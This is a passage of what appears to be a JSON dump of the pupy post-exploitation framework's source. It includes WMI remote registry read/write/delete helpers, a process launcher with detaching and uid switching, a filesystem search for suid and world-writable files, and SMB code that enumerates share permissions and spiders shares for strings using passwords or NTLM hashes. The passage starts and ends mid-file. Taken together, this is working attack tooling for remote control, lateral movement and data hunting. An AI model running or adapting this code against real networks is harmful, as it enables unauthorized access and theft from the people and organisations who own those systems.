interrupt\n\n\ndef enum(\n    host, port,\n    user, domain,\n        password, ntlm,\n        path=None, timeout=30):\n\n    conninfo = ConnectionInfo(\n        host, port, user, domain, password, ntlm, timeout=timeout\n    )\n\n    if path is None:\n        return [(\n            True, unicode(item)\n        ) for item in WELL_KNOWN_KEYS]\n\n    try:\n        tupleized = []\n\n        with conninfo:\n            iWbemServices = conninfo.create_wbem('//./root/cimv2')\n            regprov, _ = iWbemServices.GetObject('StdRegprov')\n\n            for item in Key(regprov, path):\n                if type(item) == Key:\n                    tupleized.append((True, unicode(item)))\n                else:\n                    tupleized.append((\n                        False, item.parent, item.name,\n                        item.value, item.type))\n\n            return tuple(tupleized)\n\n    except KeyError:\n        return None\n\n\ndef set(\n    host, port,\n    user, domain,\n    password, ntlm,\n        path, name, value, create, timeout=30):\n\n    conninfo = ConnectionInfo(\n        host, port, user, domain, password, ntlm, timeout=timeout\n    )\n\n    try:\n        with conninfo:\n            iWbemServices = conninfo.create_wbem('//./root/cimv2')\n            regprov, _ = iWbemServices.GetObject('StdRegprov')\n\n            k = Key(regprov, path)\n            try:\n                old_value = k[name]\n                if old_value.type in (REG_DWORD, REG_DWORD_LITTLE_ENDIAN):\n                    if not isinstance(value, (int, long)):\n                        value = int(value)\n            except KeyError:\n                pass\n\n            k[name] = value\n            return True\n\n    except KeyError:\n        return False\n\n\ndef get(\n    host, port,\n    user, domain,\n    password, ntlm,\n        path, name, timeout=30):\n\n    conninfo = ConnectionInfo(\n        host, port, user, domain, password, ntlm, timeout=timeout\n    )\n\n    try:\n        with conninfo:\n            iWbemServices = conninfo.create_wbem('//./root/cimv2')\n            regprov, _ = iWbemServices.GetObject('StdRegprov')\n\n            return Key(regprov, path)[name].value\n    except KeyError:\n        return None\n\n\ndef rm(\n    host, port,\n    user, domain,\n    password, ntlm,\n        path, name, timeout=30):\n\n    conninfo = ConnectionInfo(\n        host, port, user, domain, password, ntlm, timeout=timeout\n    )\n\n    try:\n        with conninfo:\n            iWbemServices = conninfo.create_wbem('//./root/cimv2')\n            regprov, _ = iWbemServices.GetObject('StdRegprov')\n\n            del Key(regprov, path)[name]\n            return True\n\n    except KeyError:\n        return False\n"
  },
  {
    "path": "pupy/packages/all/pupyutils/safepopen.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = ['SafePopen']\n\nimport threading\nimport subprocess\nimport sys\nimport os\nimport struct\nimport errno\n\nif sys.version_info.major > 2:\n    from queue import Queue, Empty\nelse:\n    from Queue import Queue, Empty\n\nfrom io import open\nfrom pupy.network.lib.pupyrpc import nowait\n\nON_POSIX = 'posix' in sys.builtin_module_names\nDETACHED_PROCESS = 0x00000008\n\n\ndef read_pipe(queue, pipe, bufsize):\n    completed = False\n    returncode = None\n\n    while not completed:\n        try:\n            returncode = pipe.poll()\n            completed = returncode is not None\n        except Exception:\n            continue\n\n        try:\n            if bufsize:\n                data = pipe.stdout.read() \\\n                  if completed else pipe.stdout.readline(bufsize)\n            else:\n                data = pipe.stdout.read(1)\n        except Exception:\n            returncode = pipe.poll()\n            break\n\n        queue.put(data)\n\n    queue.put(returncode)\n\n\ndef prepare(suid):\n    import pwd\n\n    if suid is not None:\n        try:\n            if not type(suid) in (int, long):\n                userinfo = pwd.getpwnam(suid)\n                suid = userinfo.pw_uid\n                sgid = userinfo.pw_gid\n            else:\n                userinfo = pwd.getpwuid(suid)\n                sgid = userinfo.pw_gid\n        except Exception:\n            pass\n\n        try:\n            path = os.ttyname(sys.stdin.fileno())\n            os.chown(path, suid, sgid)\n        except Exception:\n            pass\n\n        try:\n            os.initgroups(userinfo.pw_name, sgid)\n            os.chdir(userinfo.pw_dir)\n        except Exception:\n            pass\n\n        try:\n            if hasattr(os, 'setresuid'):\n                os.setresgid(suid, suid, sgid)\n                os.setresuid(suid, suid, sgid)\n            else:\n                euid = os.geteuid()\n                if euid != 0:\n                    os.seteuid(0)\n                    os.setegid(0)\n\n                os.setgid(suid)\n                os.setuid(suid)\n\n        except Exception:\n            pass\n\n    os.setsid()\n\n\nclass SafePopen(object):\n    def __init__(self, *popen_args, **popen_kwargs):\n        self._popen_args = popen_args\n        self._interactive = popen_kwargs.pop('interactive', False)\n        self._detached = popen_kwargs.pop('detached', False)\n        self._stdin_data = popen_kwargs.pop('stdin_data', None)\n        self._suid = popen_kwargs.pop('suid', None)\n\n        if self._detached:\n            self._interactive = False\n\n        if not ON_POSIX:\n            self._suid = None\n\n        self._popen_kwargs = dict(popen_kwargs)\n\n        self._reader = None\n        self._pipe = None\n        self._bufsize = 8196\n\n        if self._interactive:\n            self._bufsize = 0\n\n        self.returncode = None\n\n        if hasattr(subprocess, 'STARTUPINFO'):\n            startupinfo = subprocess.STARTUPINFO()\n            startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW\n\n            self._popen_kwargs.update({\n                'startupinfo': startupinfo,\n                'creationflags': subprocess.CREATE_NEW_PROCESS_GROUP\n            })\n\n        if not self._detached and 'stderr' not in self._popen_kwargs:\n            self._popen_kwargs['stderr'] = subprocess.STDOUT\n\n    def _execute(self, read_cb, close_cb):\n        returncode = None\n        need_fork = False\n\n        try:\n            kwargs = self._popen_kwargs\n            # Setup some required arguments\n            kwargs.update({\n                'bufsize': self._bufsize,\n                'close_fds': ON_POSIX\n            })\n\n            if not self._detached:\n                kwargs.update({\n                    'stdin': subprocess.PIPE,\n                    'stdout': subprocess.PIPE,\n                })\n\n            elif 'creationflags' in kwargs:\n                kwargs['creationflags'] |= DETACHED_PROCESS\n                for arg in ('stderr', 'stdin', 'stdout'):\n                    if arg in kwargs:\n                        del kwargs[arg]\n            else:\n                need_fork = True\n                devnull = open(os.devnull, 'ab')\n                kwargs.update({\n                    'stdout': devnull,\n                    'stderr': devnull,\n                })\n\n            if self._suid:\n                kwargs.update({\n                    'preexec_fn': lambda: prepare(self._suid)\n                })\n\n            if need_fork:\n                p_read, p_write = os.pipe()\n                pid = os.fork()\n                if pid == 0:\n                    os.close(p_read)\n\n                    if 'preexec_fn' not in kwargs:\n                        kwargs['preexec_fn'] = os.setsid\n\n                    try:\n                        self._pipe = subprocess.Popen(\n                            *self._popen_args,\n                            **kwargs\n                        )\n\n                        os.write(p_write, struct.pack('i', self._pipe.poll() or 0))\n\n                    except OSError as e:\n                        os.write(p_write, struct.pack('i', e.errno))\n\n                    except Exception as e:\n                        os.write(p_write, struct.pack('i', 1))\n\n                    finally:\n                        os.close(p_write)\n\n                    os._exit(0)\n\n                else:\n                    os.close(p_write)\n                    returncode, = struct.unpack('i', os.read(p_read, 4))\n                    os.waitpid(pid, 0)\n\n            else:\n                self._pipe = subprocess.Popen(\n                    *self._popen_args,\n                    **kwargs\n                )\n\n            if self._pipe and self._pipe.stdin:\n                if self._stdin_data:\n                    self._pipe.stdin.write(self._stdin_data)\n                    self._pipe.stdin.flush()\n\n                if not self._interactive:\n                    self._pipe.stdin.close()\n\n        except OSError as e:\n            if read_cb:\n                read_cb(\"[ LAUNCH ERROR: {} ]\\n\".format(e.strerror))\n\n            try:\n                returncode = self._pipe.poll()\n            except Exception:\n                pass\n\n            self.returncode = returncode if returncode is not None else -e.errno\n            if close_cb:\n                close_cb()\n                return\n\n        except Exception as e:\n            if read_cb:\n                read_cb(\"[ UNKNOWN ERROR: {} ]\\n\".format(e))\n\n            try:\n                returncode = self._pipe.poll()\n            except Exception:\n                pass\n\n            self.returncode = returncode if returncode is not None else -1\n            if close_cb:\n                close_cb()\n                return\n\n        if self._detached:\n            if self._pipe:\n                self.returncode = self._pipe.poll()\n            else:\n                self.returncode = returncode or None\n\n            if close_cb:\n                close_cb()\n            return\n\n        queue = Queue()\n        self._reader = threading.Thread(\n            target=read_pipe,\n            args=(queue, self._pipe, self._bufsize)\n        )\n        self._reader.start()\n\n        while True:\n            data = []\n            r = queue.get()\n            while not type(r) == int:\n                data.append(r)\n                if queue.empty():\n                    break\n                else:\n                    r = queue.get()\n\n            if data and read_cb:\n                read_cb(b''.join(data))\n\n            if type(r) == int:\n                self.returncode = r\n                break\n\n        if close_cb:\n            close_cb()\n\n    def execute(self, close_cb, read_cb=None):\n        if read_cb:\n            read_cb = nowait(read_cb)\n\n        if close_cb:\n            close_cb = nowait(close_cb)\n\n        t = threading.Thread(target=self._execute, args=(read_cb, close_cb))\n        t.daemon = True\n        t.start()\n\n    def get_returncode(self):\n        return errno.errorcode.get(\n            self.returncode, self.returncode\n        )\n\n    def terminate(self):\n        if not self.returncode and self._pipe:\n            try:\n                self._pipe.terminate()\n            except:\n                pass\n\n    def write(self, data):\n        if self.returncode or not self._pipe or not self._interactive:\n            return\n\n        self._pipe.stdin.write(data)\n        self._pipe.stdin.flush()\n\n\ndef safe_exec(read_cb, close_cb, args, kwargs):\n    kwargs = dict(kwargs)\n\n    sfp = SafePopen(args, **kwargs)\n    sfp.execute(close_cb, read_cb)\n\n    return sfp.terminate, sfp.get_returncode\n\n\ndef check_output(cmdline, shell=True, env=None, encoding=None, suid=None):\n    args = {\n        'shell': shell,\n        'stdin': subprocess.PIPE,\n        'stdout': subprocess.PIPE,\n        'stderr': subprocess.STDOUT,\n        'universal_newlines': True,\n        'env': env,\n    }\n\n    if ON_POSIX and suid:\n        args['preexec_fn'] = lambda: prepare(suid)\n\n    p = subprocess.Popen(\n        cmdline,\n        **args\n    )\n\n    complete = [False]\n\n    def get_data():\n        if complete[0]:\n            return ''\n\n        stdout, stderr = p.communicate()\n        complete[0] = True\n\n        if encoding:\n            stdout = stdout.decode(encoding, errors='replace')\n\n        retcode = p.poll()\n        return stdout, retcode\n\n    return p.terminate, get_data\n"
  },
  {
    "path": "pupy/packages/all/pupyutils/search.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom scandir import scandir\nif scandir is None:\n    from scandir import scandir_generic as scandir\n\nimport os\nimport re\nimport sys\n\nimport threading\n\nimport errno\nimport traceback\n\nfrom uuid import uuid4\n\nfrom zipfile import ZipFile, is_zipfile\nfrom tarfile import is_tarfile\nfrom tarfile import open as open_tarfile\n\nfrom fsutils import uidgid, username_to_uid, groupname_to_gid, has_xattrs\n\nfrom pupy.network.lib.pupyrpc import nowait\nfrom pupy.network.lib.convcompat import (\n    is_binary, try_as_unicode_string, fs_as_unicode_string, filter_strings\n)\n\nif sys.version_info.major > 2:\n    getcwd = os.getcwd\n    basestring = str\nelse:\n    getcwd = os.getcwdu\n\nPERMISSION_ERRORS = [\n    getattr(errno, x) for x in ('EPERM', 'EACCESS') if hasattr(errno, x)\n]\n\nSEARCH_WINDOW_SIZE = 32768\n\nOWAW_PROBE_NAME = str(uuid4())\n\n\ndef _make_exception(exception, filepath):\n    setattr(exception, 'filename', filepath)\n    setattr(exception, 'exc', (\n        sys.exc_info()[0], sys.exc_info()[1], sys.exc_info()[2]\n    ))\n    return filepath\n\n\nclass Search(object):\n    def __init__(\n        self, path,\n        strings=(), max_size=20000000, root_path='.', no_content=False,\n        case=False, binary=False, follow_symlinks=False, terminate=None,\n        same_fs=True, search_in_archives=False, content_only=False,\n        suid=False, sgid=False, user=False, group=False,\n        owaw=False, newer=None, older=None, xattr=False\n    ):\n\n        self.max_size = int(max_size)\n        self.follow_symlinks = follow_symlinks\n        self.no_content = no_content\n        self.binary = binary\n        self.case = case\n        self.same_fs = same_fs\n        self.search_in_archives = search_in_archives\n        self.content_only = content_only if strings else False\n\n        self.suid = suid\n        self.sgid = sgid\n        self.user = username_to_uid(user) if user else None\n        self.group = groupname_to_gid(group) if group else None\n        self.owaw = owaw\n        self.newer = newer\n        self.older = older\n        self.xattr = xattr\n\n        if self.case:\n            i = re.IGNORECASE | re.UNICODE\n        else:\n            i = re.UNICODE\n\n        path = fs_as_unicode_string(path)\n        root_path = fs_as_unicode_string(root_path)\n\n        path = os.path.expandvars(os.path.expanduser(path))\n\n        if os.path.isdir(path):\n            root_path = path\n            self.name = None\n            self.path = None\n        elif path.startswith(os.path.sep):\n            root_path = os.path.dirname(path)\n            self.name = re.compile(os.path.basename(path), i)\n            self.path = None\n        elif os.path.sep in path:\n            self.path = re.compile(path, i)\n            self.name = None\n        else:\n            self.name = re.compile(path, i)\n            self.path = None\n\n        if strings:\n            self.strings = [\n                re.compile(\n                    s, i\n                ) for s in strings\n            ]\n\n        if self.xattr and self.xattr is not True:\n            self.xattr = re.compile(self.xattr, i)\n\n        self.terminate = terminate\n\n        if root_path == '.':\n            self.root_path = getcwd()\n        else:\n            self.root_path = root_path\n\n        if self.same_fs:\n            self.same_fs = os.stat(self.root_path).st_dev\n\n        self.extended = any([\n            self.xattr, self.suid, self.sgid,\n            self.user, self.group, self.owaw,\n            self.newer, self.older\n        ])\n\n    def search_string_in_fileobj(self, fileobj, find_all=False, filename=None):\n        try:\n            offset = 0\n\n            if self.binary:\n                prev = b''\n            else:\n                prev = ''\n\n            found = False\n\n            while offset < self.max_size and not found and not (\n                    self.terminate and self.terminate.is_set()):\n\n                chunk = fileobj.read(SEARCH_WINDOW_SIZE)\n\n                if not self.binary:\n                    try:\n                        chunk = try_as_unicode_string(chunk)\n                    except UnicodeError:\n                        return\n\n                    if is_binary(chunk):\n                        return\n\n                for s in self.strings:\n                    for match in s.finditer(prev + chunk):\n                        yield match.group()\n\n                        if not find_all:\n                            found = True\n                            break\n\n                    if found:\n                        break\n\n                if not chunk:\n                    break\n\n                prev = chunk\n                offset += len(chunk)\n\n        except IOError as e:\n            if e.errno in PERMISSION_ERRORS:\n                return\n\n        except Exception as e:\n            yield _make_exception(e, filename)\n\n    def search_string(self, path, find_all=False):\n        try:\n            with open(path, 'rb') as f:\n                for result in self.search_string_in_fileobj(\n                        f, find_all, filename=path):\n                    yield result\n\n        except IOError as e:\n            if e.errno in PERMISSION_ERRORS:\n                return\n\n        except Exception as e:\n            yield _make_exception(e, path)\n\n    def filter_extended(self, item):\n        if not self.extended:\n            return True\n\n        path = item.path\n\n        if self.xattr:\n            if self.xattr is True:\n                if has_xattrs(path):\n                    return True\n            elif any([self.xattr.match(x) for x in has_xattrs(path)]):\n                return True\n\n        if self.suid or self.sgid and sys.platform != 'win32':\n            if self.suid and item.stat().st_mode & 0o4000:\n                return True\n\n            if self.sgid and item.stat().st_mode & 0o2000:\n                return True\n\n        if self.user or self.group:\n            uid, gid = uidgid(path, item.stat(), as_text=False)\n            if self.user and self.user == uid or \\\n                    self.group and self.group == gid:\n                return True\n\n        if self.owaw:\n            if item.is_dir():\n                try:\n                    tmp_file = os.path.join(path, OWAW_PROBE_NAME)\n                    f = open(tmp_file, 'wb')\n                    f.close()\n                    os.unlink(tmp_file)\n                    return True\n\n                except (OSError, IOError):\n                    pass\n\n            elif item.is_file():\n                try:\n                    f = open(path, 'ab')\n                    f.close()\n                    return True\n\n                except (OSError, IOError):\n                    pass\n\n        if self.newer and item.stat().st_mtime > self.newer:\n            return True\n\n        if self.older and item.stat().st_mtime < self.older:\n            return True\n\n        return False\n\n    def search_in_archive(self, path):\n        any_file = not self.name or self.path\n\n        # We don't support extended search in archives\n\n        if is_zipfile(path):\n            zf = ZipFile(path)\n            try:\n                for item in zf.infolist():\n                    if self.terminate and self.terminate.is_set():\n                        break\n\n                    name = os.path.basename(item.filename)\n\n                    if (self.name and self.name.match(name)) or \\\n                        (self.path and self.path.match(item.filename)) or \\\n                            any_file:\n\n                        try:\n                            archive_filename = item.filename.decode(\n                                sys.getfilesystemencoding()\n                            )\n                        except UnicodeDecodeError:\n                            archive_filename = item.filename\n\n                        if self.strings:\n                            for match in self.search_string_in_fileobj(\n                                zf.open(item),\n                                    filename='zip:'+path+':'+item.filename):\n                                yield ('zip:'+path+':'+archive_filename, match)\n\n                        elif not any_file:\n                            yield 'zip:'+path+':'+archive_filename\n            finally:\n                zf.close()\n\n        elif is_tarfile(path):\n            tf = open_tarfile(path, 'r:*')\n            try:\n                for item in tf:\n                    if self.terminate and self.terminate.is_set():\n                        break\n\n                    name = os.path.basename(item.name)\n                    if (self.name and self.name.match(name)) or \\\n                        (self.path and self.path.match(item.name)) or \\\n                            any_file:\n\n                        try:\n                            archive_filename = item.name.decode(\n                                sys.getfilesystemencoding()\n                            )\n                        except UnicodeDecodeError:\n                            archive_filename = item.name\n\n                        if self.strings and item.isfile():\n                            pass\n                        elif not any_file:\n                            yield 'tar:'+path+':'+archive_filename\n                        else:\n                            continue\n\n                        for match in self.search_string_in_fileobj(\n                            tf.extractfile(item),\n                                filename='tar:+'+archive_filename+':'+path):\n\n                            yield ('tar:'+path+':'+archive_filename, match)\n\n            finally:\n                tf.close()\n\n    def scanwalk(self, path, followlinks=False):\n        ''' lists of DirEntries instead of lists of strings '''\n\n        try:\n            for entry in scandir(path):\n                if self.terminate and self.terminate.is_set():\n                    break\n\n                any_file = not self.name or self.path\n\n                if (\n                    (self.name and self.name.match(entry.name)) or\n                    (self.path and self.path.match(entry.path)) or\n                        any_file):\n\n                    try:\n                        if not self.strings or not (\n                                self.strings and entry.is_file()):\n                            if not any_file and self.filter_extended(entry):\n                                yield entry.path\n                        else:\n                            size = entry.stat().st_size\n                            if size > self.max_size:\n                                continue\n\n                            if not self.filter_extended(entry):\n                                continue\n\n                            for s in self.search_string(entry.path):\n                                if s:\n                                    if isinstance(s, Exception):\n                                        yield s\n\n                                    elif self.no_content:\n                                        if self.filter_extended(entry):\n                                            yield entry.path\n                                            break\n\n                                    else:\n                                        if self.filter_extended(entry):\n                                            yield (entry.path, s)\n                    except IOError as e:\n                        if e.errno in PERMISSION_ERRORS:\n                            continue\n\n                    except Exception as e:\n                        yield _make_exception(e, entry.path)\n\n                try:\n                    if entry.is_dir(follow_symlinks=followlinks):\n                        if not self.same_fs or \\\n                                self.same_fs == entry.stat().st_dev:\n                            for res in self.scanwalk(entry.path):\n                                yield res\n\n                    elif self.search_in_archives and entry.is_file():\n                        for res in self.search_in_archive(entry.path):\n                            yield res\n\n                except IOError as e:\n                    if e.errno in PERMISSION_ERRORS:\n                        continue\n\n                except Exception as e:\n                    yield _make_exception(e, entry.path)\n\n        except IOError as e:\n            if e.errno in PERMISSION_ERRORS:\n                return\n\n        # try / except used for permission denied\n        except Exception as e:\n            yield _make_exception(e, path)\n\n    def run(self):\n        if os.path.isfile(self.root_path):\n            for res in self.search_string(self.root_path, find_all=True):\n                try:\n                    yield (self.root_path, res)\n                except Exception:\n                    pass\n\n            if self.search_in_archives:\n                for res in self.search_in_archive(self.root_path):\n                    if self.content_only and type(res) is not tuple:\n                        continue\n\n                    try:\n                        yield res\n                    except Exception:\n                        pass\n\n        else:\n            for files in self.scanwalk(\n                    self.root_path, followlinks=self.follow_symlinks):\n                if self.content_only and type(files) is not tuple:\n                    continue\n\n                yield files\n\n    def _run_thread(self, on_data, on_completed, on_error):\n        previous_result = None\n\n        for result in self.run():\n            if isinstance(result, Exception):\n                if on_error:\n                    if isinstance(result, OSError):\n                        if result.errno not in (errno.EPERM, errno.EACCES):\n                            on_error(\n                                result.filename + ': ' +\n                                ' '.join(filter_strings(result.args))\n                            )\n                    elif isinstance(result, UnicodeError):\n                        on_error(\n                            'Invalid encoding: {}'.format(repr(result.args[1]))\n                        )\n                    else:\n                        try:\n                            on_error(\n                                'Scanwalk exception: {}:{}:{}'.format(\n                                    type(result), result,\n                                    '\\n'.join(\n                                        traceback.format_exception(*result.exc)\n                                    )\n                                )\n                            )\n                        except Exception as e:\n                            try:\n                                on_error(\n                                    'Scanwalk exception '\n                                    '(module): ({})'.format(e)\n                                )\n                            except Exception:\n                                pass\n\n                            break\n\n                continue\n\n            try:\n                if result != previous_result:\n                    on_data(result)\n                    previous_result = result\n            except Exception as e:\n                try:\n                    on_error('Scanwalk exception (module): {}'.format(e))\n                except Exception:\n                    pass\n\n                break\n\n        on_completed()\n\n    def stop(self):\n        if self.terminate:\n            self.terminate.set()\n\n    def run_cb(self, on_data, on_completed, on_error=None):\n        if not self.terminate:\n            self.terminate = threading.Event()\n\n        on_completed = nowait(on_completed)\n\n        search = threading.Thread(\n            target=self._run_thread, args=(\n                on_data, on_completed, on_error\n            )\n        )\n\n        search.daemon = False\n        search.start()\n\n    def run_cbs(self, on_data, on_completed, on_error=None):\n        if not self.terminate:\n            self.terminate = threading.Event()\n\n        search = threading.Thread(\n            target=self._run_thread, args=(\n                on_data, on_completed, on_error\n            )\n        )\n\n        search.daemon = False\n        search.start()\n"
  },
  {
    "path": "pupy/packages/all/pupyutils/share_enum.py",
    "content": "#!/usr/bin/env python2\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom impacket.smbconnection import SMBConnection, SessionError\nimport ntpath\nimport random\nimport string\n\nPERM_DIR = ''.join(random.sample(string.ascii_letters, 10))\n\ndef _listShares(smb, passwd):\n    permissions = dict()\n    root = ntpath.normpath(\"\\\\{}\".format(PERM_DIR))\n\n    for share in smb.listShares():\n        share_name = str(share['shi1_netname'][:-1])\n        permissions[share_name] = \"NO ACCESS\"\n\n        try:\n            if smb.listPath(share_name, '', passwd):\n                permissions[share_name] = \"READ\"\n        except:\n            pass\n\n        try:\n            if smb.createDirectory(share_name, root):\n                smb.deleteDirectory(share_name, root)\n                permissions[share_name] = \"READ, WRITE\"\n        except:\n            pass\n\n    return permissions\n\ndef connect(host, port, user, passwd, hash, domain=\"workgroup\"):\n    result = {}\n    try:\n        smb = SMBConnection(host, host, None, port, timeout=2)\n        guest = False\n\n        try:\n            smb.login('', '')\n            guest = True\n            result.update({\n                'auth': 'guest',\n            })\n        except SessionError as e:\n            if \"STATUS_ACCESS_DENIED\" in str(e):\n                pass\n\n        try:\n            lmhash = ''\n            nthash = ''\n            if hash:\n                lmhash, nthash = hash.split(':')\n\n            if user and (passwd or lmhash or nthash):\n                smb.login(user, passwd, domain, lmhash, nthash)\n\n                if not guest:\n                    result.update({\n                        'auth': user,\n                    })\n\n            result.update({\n                'os': smb.getServerOS(),\n                'name': smb.getServerName(),\n                'shares': [],\n            })\n\n            for share, perm in _listShares(smb, passwd).items():\n                result['shares'].append((share, perm))\n\n            smb.logoff()\n\n        except SessionError as e:\n            result['error'] = str(e)\n\n        except Exception as e:\n            result['error'] = str(e)\n\n    except Exception as e:\n        result['error'] = str(e)\n\n    return result\n"
  },
  {
    "path": "pupy/packages/all/pupyutils/smbspider.py",
    "content": "from __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nfrom impacket.smbconnection import SMBConnection, SessionError\nfrom impacket.smb3structs import FILE_READ_DATA\n\nimport re\nimport os\n\n\nclass RemoteFile(object):\n    __slots__ = (\n        '__smbConnection', '__access', '__fileName',\n        '__tid', '__fid', '__currentOffset'\n    )\n\n    def __init__(\n        self, smbConnection, fileName,\n            share='ADMIN$', access=FILE_READ_DATA):\n\n        self.__smbConnection = smbConnection\n        self.__access = access\n        self.__fileName = fileName\n        self.__tid = self.__smbConnection.connectTree(share)\n        self.__fid = None\n        self.__currentOffset = 0\n\n    def open(self):\n        self.__fid = self.__smbConnection.openFile(\n            self.__tid, self.__fileName, desiredAccess= self.__access\n        )\n\n    def read(self, bytesToRead):\n        if bytesToRead > 0:\n            data = self.__smbConnection.readFile(\n                self.__tid, self.__fid, self.__currentOffset, bytesToRead\n            )\n            self.__currentOffset += len(data)\n            return data\n\n        return ''\n\n    def close(self):\n        if self.__fid is not None:\n            self.__smbConnection.closeFile(self.__tid, self.__fid)\n            self.__fid = None\n\nclass SMBSpider:\n    def __init__(self, _host, _domain, _port, _user, _passwd, _hashes, _check_content, _share, search_str, _exts, _max_size):\n\n        self.smbconnection = None\n        self.host = _host\n        self.domain = _domain\n        self.port = _port\n        self.user = _user\n        self.passwd = _passwd\n        self.hashes = _hashes\n        self.search_str = search_str\n        self.check_content = _check_content\n        self.share = _share\n        self.max_size = _max_size\n        self.files_extensions = _exts\n\n    def login(self):\n        try:\n            self.smbconnection = SMBConnection(self.host, self.host, None, self.port, timeout=2)\n            try:\n                self.smbconnection.login('', '')\n            except SessionError as e:\n                if \"STATUS_ACCESS_DENIED\" in str(e):\n                    pass\n\n            print(\"[+] {}:{} is running {} (name:{}) (domain:{})\".format(self.host, self.port, self.smbconnection.getServerOS(), self.smbconnection.getServerName(), self.domain))\n\n            lmhash = ''\n            nthash = ''\n            if self.hashes:\n                lmhash, nthash = self.hashes.split(':')\n\n            self.smbconnection.login(self.user, self.passwd, self.domain, lmhash, nthash)\n            return True\n        except Exception as e:\n            print(\"[!] {}\".format(e))\n            return False\n\n    def logoff(self):\n        self.smbconnection.logoff()\n\n    def set_share(self, _share):\n        self.share = _share\n\n    def list_share(self):\n        share_names = []\n        for share in self.smbconnection.listShares():\n            share_names.append(str(share['shi1_netname'][:-1]))\n        return share_names\n\n    def scanwalk(self, subfolder, depth):\n        if depth == 0:\n            return\n\n        if subfolder == '' or subfolder == '.':\n            subfolder = '*'\n        elif subfolder.startswith('*/'):\n            subfolder = subfolder[2:] + '/*'\n        else:\n            subfolder = subfolder.replace('/*/', '/') + '/*'\n\n        for result in self.smbconnection.listPath(self.share, subfolder):\n\n            if result.get_longname() not in ['.', '..']:\n\n                # check if the file contains our pattern\n                for s in self.search_str:\n                    if result.get_longname().lower().find(s) != -1:\n                        yield '%s' % os.path.join(subfolder, result.get_longname())\n\n                # if directory, be recursive\n                if result.is_directory():\n                    for res in self.scanwalk(subfolder.replace('*', '') + result.get_longname(), depth-1):\n                        yield res\n\n                # check inside the file to found our pattern\n                elif not result.is_directory():\n                    if self.max_size > result.get_filesize():\n                        if result.get_longname().endswith(self.files_extensions):\n                            if self.check_content:\n                                for res in self.search_string(os.path.join(subfolder, result.get_longname())):\n                                    try:\n                                        res = res.encode('utf-8')\n                                        yield '%s' % res\n                                    except:\n                                        pass\n\n    def search_string(self, path):\n        path = path.replace('*', '')\n        try:\n            rfile = RemoteFile(\n                                self.smbconnection,\n                                path,\n                                self.share,\n                                access = FILE_READ_DATA\n                            )\n            rfile.open()\n            while True:\n                buffer = rfile.read(4096)\n                if not buffer:\n                    break\n\n                for string in self.search_str:\n                    indexes = [m.start() for m in re.finditer(string, buffer, flags=re.IGNORECASE)]\n                    for i in indexes:\n                        r = \"{share} {path} > {content}\".format(\n                                share=self.share, path=path, content=buffer[i:].strip().split('\\n')[0]\n                            )\n                        yield r\n\n            rfile.close()\n\n        except SessionError as e:\n            if 'STATUS_SHARING_VIOLATION' in str(e):\n                pass\n\n        except Exception as e:\n            print(e)\n\n\nclass Spider():\n    def __init__(self, hosts, _domain, _port, _user, _passwd, _hashes, _check_content, _share, _search_str, _exts, _max_size, _folder_to_spider, _depth):\n        self.hosts = hosts\n\n        self.domain = _domain\n        self.port = _port\n        self.user = _user\n        self.passwd = _passwd\n        self.hashes = _hashes\n        self.search_str = _search_str\n        self.check_content = _check_content\n        self.share = _share\n        self.max_size = _max_size\n        self.files_extensions = _exts\n        self.folder_to_spider = _folder_to_spider\n        self.depth = _depth\n\n    def spider_an_host(self, host):\n        smbspider = SMBSpider(host, self.domain, self.port, self.user, self.passwd, self.hashes, self.check_content, self.share, self.search_str, self.files_extensions, self.max_size)\n        logged = smbspider.login()\n\n        if logged:\n            if self.share == 'all':\n                shares = smbspider.list_share()\n            else:\n                shares = [self.share]\n\n            for share in shares:\n                smbspider.set_share(share)\n                try:\n                    for res in smbspider.scanwalk(self.folder_to_spider, int(self.depth)):\n                        path = \"%s/%s/%s\" % (host, share, res)\n                        path = path.replace('*/', '/').replace('//', '/')\n                        yield path\n                except:\n                    pass\n\n            smbspider.logoff()\n\n    def spider_all_hosts(self):\n        for host in self.hosts:\n            for files in self.spider_an_host(host):\n                yield files\n\n# Using thread = TO DO using yield\n# class WorkerThread(threading.Thread) :\n\n#     def __init__(self, queue, tid, hosts, _domain, _port, _user, _passwd, _hashes, _check_content, _share, _search_str, _exts, _max_size, _folder_to_spider, _depth) :\n#         threading.Thread.__init__(self)\n#         self.queue = queue\n#         self.tid = tid\n\n#         self.hosts = hosts\n\n#         self.domain = _domain\n#         self.port = _port\n#         self.user = _user\n#         self.passwd = _passwd\n#         self.hashes = _hashes\n#         self.search_str = search_str\n#         self.check_content = _check_content\n#         self.share = _share\n#         self.max_size = _max_size\n#         self.files_extensions = _exts\n#         self.folder_to_spider = _folder_to_spider\n#         self.depth = _depth\n\n#     def spider_an_host(self, host):\n#         smbspider = SMBSpider(host, self.domain, self.port, self.user, self.passwd, self.hashes, self.check_content, self.share, self.search_str, self.files_extensions, self.max_size)\n#         logged = smbspider.login()\n\n#         if logged:\n#             if self.share == 'all':\n#                 shares = smbspider.list_share()\n#             else:\n#                 shares = [self.share]\n\n#             for share in shares:\n#                 smbspider.set_share(share)\n#                 try:\n#                     for res in smbspider.scanwalk(self.folder_to_spider, int(self.depth)):\n#                         res = res.replace('*/', '/').replace('//', '/')\n#                         yield \"%s/%s/%s\" % (host, share, res)\n#                 except Exception, e:\n#                     if \"STATUS_ACCESS_DENIED\" in e.message:\n#                         pass\n\n#             smbspider.logoff()\n\n#     def run(self):\n#         for host in self.hosts:\n#             try :\n#                 host = self.queue.get(timeout=1)\n#             except Queue.Empty:\n#                 return\n\n#             for r in self.spider_an_host(host):\n#                 print '%s' % r\n\n#             self.queue.task_done()\n\n# def smbspider(hosts, domain, port, user, passwd, hashes, check_content, share, search_str, files_extensions, max_size, folder_to_spider, depth):\n#     queue = Queue.Queue()\n#     threads = []\n\n#     nb_thread = 5\n#     for i in range(1, nb_thread + 1):\n#         worker = WorkerThread(queue, i, hosts, domain, port, user, passwd, hashes, check_content, share, search_str, files_extensions, 